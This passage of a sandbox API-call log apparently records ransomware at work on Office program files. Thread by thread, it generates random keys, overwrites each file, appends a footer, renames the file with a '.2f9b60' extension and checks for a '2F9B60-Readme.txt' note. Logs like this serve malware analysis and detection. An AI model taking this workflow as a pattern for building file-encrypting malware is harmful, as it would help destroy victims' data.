RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0127.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202647a0 [0127.856] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0127.856] WriteFile (in: hFile=0xd4c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2447f710, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2447f710*=0x108, lpOverlapped=0x0) returned 1 [0127.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0127.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f210 [0127.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264890 [0127.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264890) returned 1 [0127.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0127.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264890 [0127.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202648c0 [0127.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202648c0) returned 1 [0127.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0127.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0127.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fa70 [0127.861] sprintf (in: _Dest=0x1cd9fa70, _Format="%c%c" | out: _Dest="23") returned 2 [0127.861] sprintf (in: _Dest=0x1cd9fa72, _Format="%c%c" | out: _Dest="62") returned 2 [0127.861] sprintf (in: _Dest=0x1cd9fa74, _Format="%c%c" | out: _Dest="55") returned 2 [0127.861] sprintf (in: _Dest=0x1cd9fa76, _Format="%c%c" | out: _Dest="83") returned 2 [0127.861] sprintf (in: _Dest=0x1cd9fa78, _Format="%c%c" | out: _Dest="7b") returned 2 [0127.861] sprintf (in: _Dest=0x1cd9fa7a, _Format="%c%c" | out: _Dest="71") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa7c, _Format="%c%c" | out: _Dest="3b") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa7e, _Format="%c%c" | out: _Dest="98") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa80, _Format="%c%c" | out: _Dest="a1") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa82, _Format="%c%c" | out: _Dest="7e") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa84, _Format="%c%c" | out: _Dest="c7") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa86, _Format="%c%c" | out: _Dest="bd") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa88, _Format="%c%c" | out: _Dest="b0") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa8a, _Format="%c%c" | out: _Dest="7b") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa8c, _Format="%c%c" | out: _Dest="61") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa8e, _Format="%c%c" | out: _Dest="56") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa90, _Format="%c%c" | out: _Dest="81") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa92, _Format="%c%c" | out: _Dest="ba") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa94, _Format="%c%c" | out: _Dest="ed") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa96, _Format="%c%c" | out: _Dest="f2") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa98, _Format="%c%c" | out: _Dest="82") returned 2 [0127.862] sprintf (in: _Dest=0x1cd9fa9a, _Format="%c%c" | out: _Dest="e6") returned 2 [0127.862] RtlInitAnsiString (in: DestinationString=0x2447f788, SourceString="236255837b713b98a17ec7bdb07b615681baedf282e6" | out: DestinationString="236255837b713b98a17ec7bdb07b615681baedf282e6") [0127.862] RtlAnsiStringToUnicodeString (in: DestinationString=0x2447f758, SourceString="236255837b713b98a17ec7bdb07b615681baedf282e6", AllocateDestinationString=1 | out: DestinationString="236255837b713b98a17ec7bdb07b615681baedf282e6") returned 0x0 [0127.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864060 [0127.863] wcscat (in: _Dest=0x2027b2d0, _Source="236255837b7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\236255837b7") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\236255837b7" [0127.863] wcscat (in: _Dest=0x2027b2d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\236255837b7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\236255837b7.2f9b60" [0127.863] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\236255837b7.2f9b60", NtPathName=0x2447f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\236255837b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0127.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106f40 [0127.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0127.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0127.865] NtQueryInformationFile (in: FileHandle=0xd4c, IoStatusBlock=0x2447f798, FileInformation=0x2447f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2447f798, FileInformation=0x2447f7a8) returned 0x0 [0127.865] NtSetInformationFile (FileHandle=0xd4c, IoStatusBlock=0x2447f798, FileInformation=0x2447f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0127.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b2d0) returned 1 [0127.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864060) returned 1 [0127.870] FlushFileBuffers (hFile=0xd4c) returned 1 [0127.994] CloseHandle (hObject=0xd4c) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cbf0 [0127.996] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0127.996] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0127.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0127.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0127.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c060) returned 1 Thread: id = 1660 os_tid = 0x1b74 [0126.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 0x20 [0126.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE", dwFileAttributes=0x20) returned 1 [0126.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x660 [0127.298] GetFileSizeEx (in: hFile=0x660, lpFileSize=0x2490f780 | out: lpFileSize=0x2490f780*=10160) returned 1 [0127.298] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x27ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.298] ReadFile (in: hFile=0x660, lpBuffer=0x2490f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2490f748, lpOverlapped=0x0 | out: lpBuffer=0x2490f700*, lpNumberOfBytesRead=0x2490f748*=0x4, lpOverlapped=0x0) returned 1 [0127.305] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0127.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0127.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0127.305] NtQuerySystemTime (in: CurrentTime=0x2490f640 | out: CurrentTime=0x2490f640*=132462177325606000) returned 0x0 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x366e756a [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x55fcab21 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0xca0e7c0 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x7583026d [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x3915f340 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x1a3fd655 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x1be87cda [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x58219623 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x6146ea53 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0xeea944a [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x3e41878b [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x1d9f35b5 [0127.305] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x60db065e [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x72e59cb8 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x2dbc916 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x4e6027cc [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x11b414bf [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x3f9cbb5d [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x4c939972 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x4807993 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x288abad7 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x4773dd95 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x39aa4138 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x6f705ff9 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x743bf765 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x7700cfbe [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x61fbefe3 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x584f319b [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x45098d00 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x6ad02d05 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x258a9941 [0127.306] RtlRandomEx (in: Seed=0x2490f630 | out: Seed=0x2490f630) returned 0x2a1507e [0127.314] ReadFile (in: hFile=0x660, lpBuffer=0x41c84990, nNumberOfBytesToRead=0x27b0, lpNumberOfBytesRead=0x2490f630, lpOverlapped=0x0 | out: lpBuffer=0x41c84990*, lpNumberOfBytesRead=0x2490f630*=0x27b0, lpOverlapped=0x0) returned 1 [0127.329] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.329] WriteFile (in: hFile=0x660, lpBuffer=0x41c62d00*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2490f634, lpOverlapped=0x0 | out: lpBuffer=0x41c62d00*, lpNumberOfBytesWritten=0x2490f634*=0x27b0, lpOverlapped=0x0) returned 1 [0127.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0127.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0127.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0127.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c62d00) returned 1 [0127.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c84990) returned 1 [0127.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0127.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0127.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x2050f490 [0127.830] SetFilePointerEx (in: hFile=0x660, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0127.830] WriteFile (in: hFile=0x660, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2490f750, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2490f750*=0x108, lpOverlapped=0x0) returned 1 [0127.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0127.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f390 [0127.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0127.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f2e0) returned 1 [0127.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0127.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2e0 [0127.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f580 [0127.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f580) returned 1 [0127.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f390) returned 1 [0127.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c300) returned 1 [0127.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f770 [0127.832] sprintf (in: _Dest=0x1cd9f770, _Format="%c%c" | out: _Dest="10") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f772, _Format="%c%c" | out: _Dest="90") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f774, _Format="%c%c" | out: _Dest="df") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f776, _Format="%c%c" | out: _Dest="9c") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f778, _Format="%c%c" | out: _Dest="a2") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f77a, _Format="%c%c" | out: _Dest="11") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f77c, _Format="%c%c" | out: _Dest="c4") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f77e, _Format="%c%c" | out: _Dest="21") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f780, _Format="%c%c" | out: _Dest="65") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f782, _Format="%c%c" | out: _Dest="67") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f784, _Format="%c%c" | out: _Dest="2e") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f786, _Format="%c%c" | out: _Dest="d7") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f788, _Format="%c%c" | out: _Dest="6b") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f78a, _Format="%c%c" | out: _Dest="31") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f78c, _Format="%c%c" | out: _Dest="af") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f78e, _Format="%c%c" | out: _Dest="3a") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f790, _Format="%c%c" | out: _Dest="5c") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f792, _Format="%c%c" | out: _Dest="5b") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f794, _Format="%c%c" | out: _Dest="6d") returned 2 [0127.832] sprintf (in: _Dest=0x1cd9f796, _Format="%c%c" | out: _Dest="be") returned 2 [0127.833] sprintf (in: _Dest=0x1cd9f798, _Format="%c%c" | out: _Dest="40") returned 2 [0127.833] sprintf (in: _Dest=0x1cd9f79a, _Format="%c%c" | out: _Dest="e9") returned 2 [0127.833] RtlInitAnsiString (in: DestinationString=0x2490f7c8, SourceString="1090df9ca211c42165672ed76b31af3a5c5b6dbe40e9" | out: DestinationString="1090df9ca211c42165672ed76b31af3a5c5b6dbe40e9") [0127.833] RtlAnsiStringToUnicodeString (in: DestinationString=0x2490f798, SourceString="1090df9ca211c42165672ed76b31af3a5c5b6dbe40e9", AllocateDestinationString=1 | out: DestinationString="1090df9ca211c42165672ed76b31af3a5c5b6dbe40e9") returned 0x0 [0127.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b864450 [0127.833] wcscat (in: _Dest=0x2027b370, _Source="1090df9ca21" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\1090df9ca21") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\1090df9ca21" [0127.833] wcscat (in: _Dest=0x2027b370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\1090df9ca21.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\1090df9ca21.2f9b60" [0127.833] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\1090df9ca21.2f9b60", NtPathName=0x2490f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\1090df9ca21.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0127.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106f40 [0127.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106f40) returned 1 [0127.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0127.835] NtQueryInformationFile (in: FileHandle=0x660, IoStatusBlock=0x2490f7d8, FileInformation=0x2490f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2490f7d8, FileInformation=0x2490f7e8) returned 0x0 [0127.835] NtSetInformationFile (FileHandle=0x660, IoStatusBlock=0x2490f7d8, FileInformation=0x2490f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0127.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b370) returned 1 [0127.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864450) returned 1 [0127.851] FlushFileBuffers (hFile=0x660) returned 1 [0127.991] CloseHandle (hObject=0x660) returned 1 [0127.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cbf0 [0127.993] wcscpy (in: _Dest=0x4205cbf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0127.993] wcscat (in: _Dest=0x4205cbf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0127.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0127.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0127.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c210) returned 1 Thread: id = 1661 os_tid = 0x1b78 [0126.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 0x20 [0126.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE", dwFileAttributes=0x20) returned 1 [0127.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x98c [0127.302] GetFileSizeEx (in: hFile=0x98c, lpFileSize=0x23a3fcc0 | out: lpFileSize=0x23a3fcc0*=10160) returned 1 [0127.302] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x27ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.302] ReadFile (in: hFile=0x98c, lpBuffer=0x23a3fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23a3fc88, lpOverlapped=0x0 | out: lpBuffer=0x23a3fc40*, lpNumberOfBytesRead=0x23a3fc88*=0x4, lpOverlapped=0x0) returned 1 [0127.319] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f2b0 [0127.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f580 [0127.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f550 [0127.319] NtQuerySystemTime (in: CurrentTime=0x23a3fb80 | out: CurrentTime=0x23a3fb80*=132462177325762000) returned 0x0 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x196b5550 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x52213540 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x73fb99ac [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x7d5cd55a [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x2dcee574 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x3b27d65f [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x1d06f1a1 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x4557e730 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x255415ba [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x5f9c4e03 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x7d7ffd5a [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x2d7ac62d [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x7b221c93 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x60d13575 [0127.319] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x2ef7736d [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x26897f20 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x3686d19e [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x150e0124 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x5799fd5c [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x396dc3e6 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x772e5359 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x386fc0ec [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x1e2a83db [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x7eae115f [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x7c25c879 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x202d0755 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x50a856e7 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x5cd43cd3 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x4dfdbb9a [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x2c3bbe48 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x61d11723 [0127.320] RtlRandomEx (in: Seed=0x23a3fb70 | out: Seed=0x23a3fb70) returned 0x16fd1c8d [0127.328] ReadFile (in: hFile=0x98c, lpBuffer=0x41c66910, nNumberOfBytesToRead=0x27b0, lpNumberOfBytesRead=0x23a3fb70, lpOverlapped=0x0 | out: lpBuffer=0x41c66910*, lpNumberOfBytesRead=0x23a3fb70*=0x27b0, lpOverlapped=0x0) returned 1 [0127.346] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.346] WriteFile (in: hFile=0x98c, lpBuffer=0x41c5f0f0*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x23a3fb74, lpOverlapped=0x0 | out: lpBuffer=0x41c5f0f0*, lpNumberOfBytesWritten=0x23a3fb74*=0x27b0, lpOverlapped=0x0) returned 1 [0127.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647a0 [0127.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202647d0 [0127.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 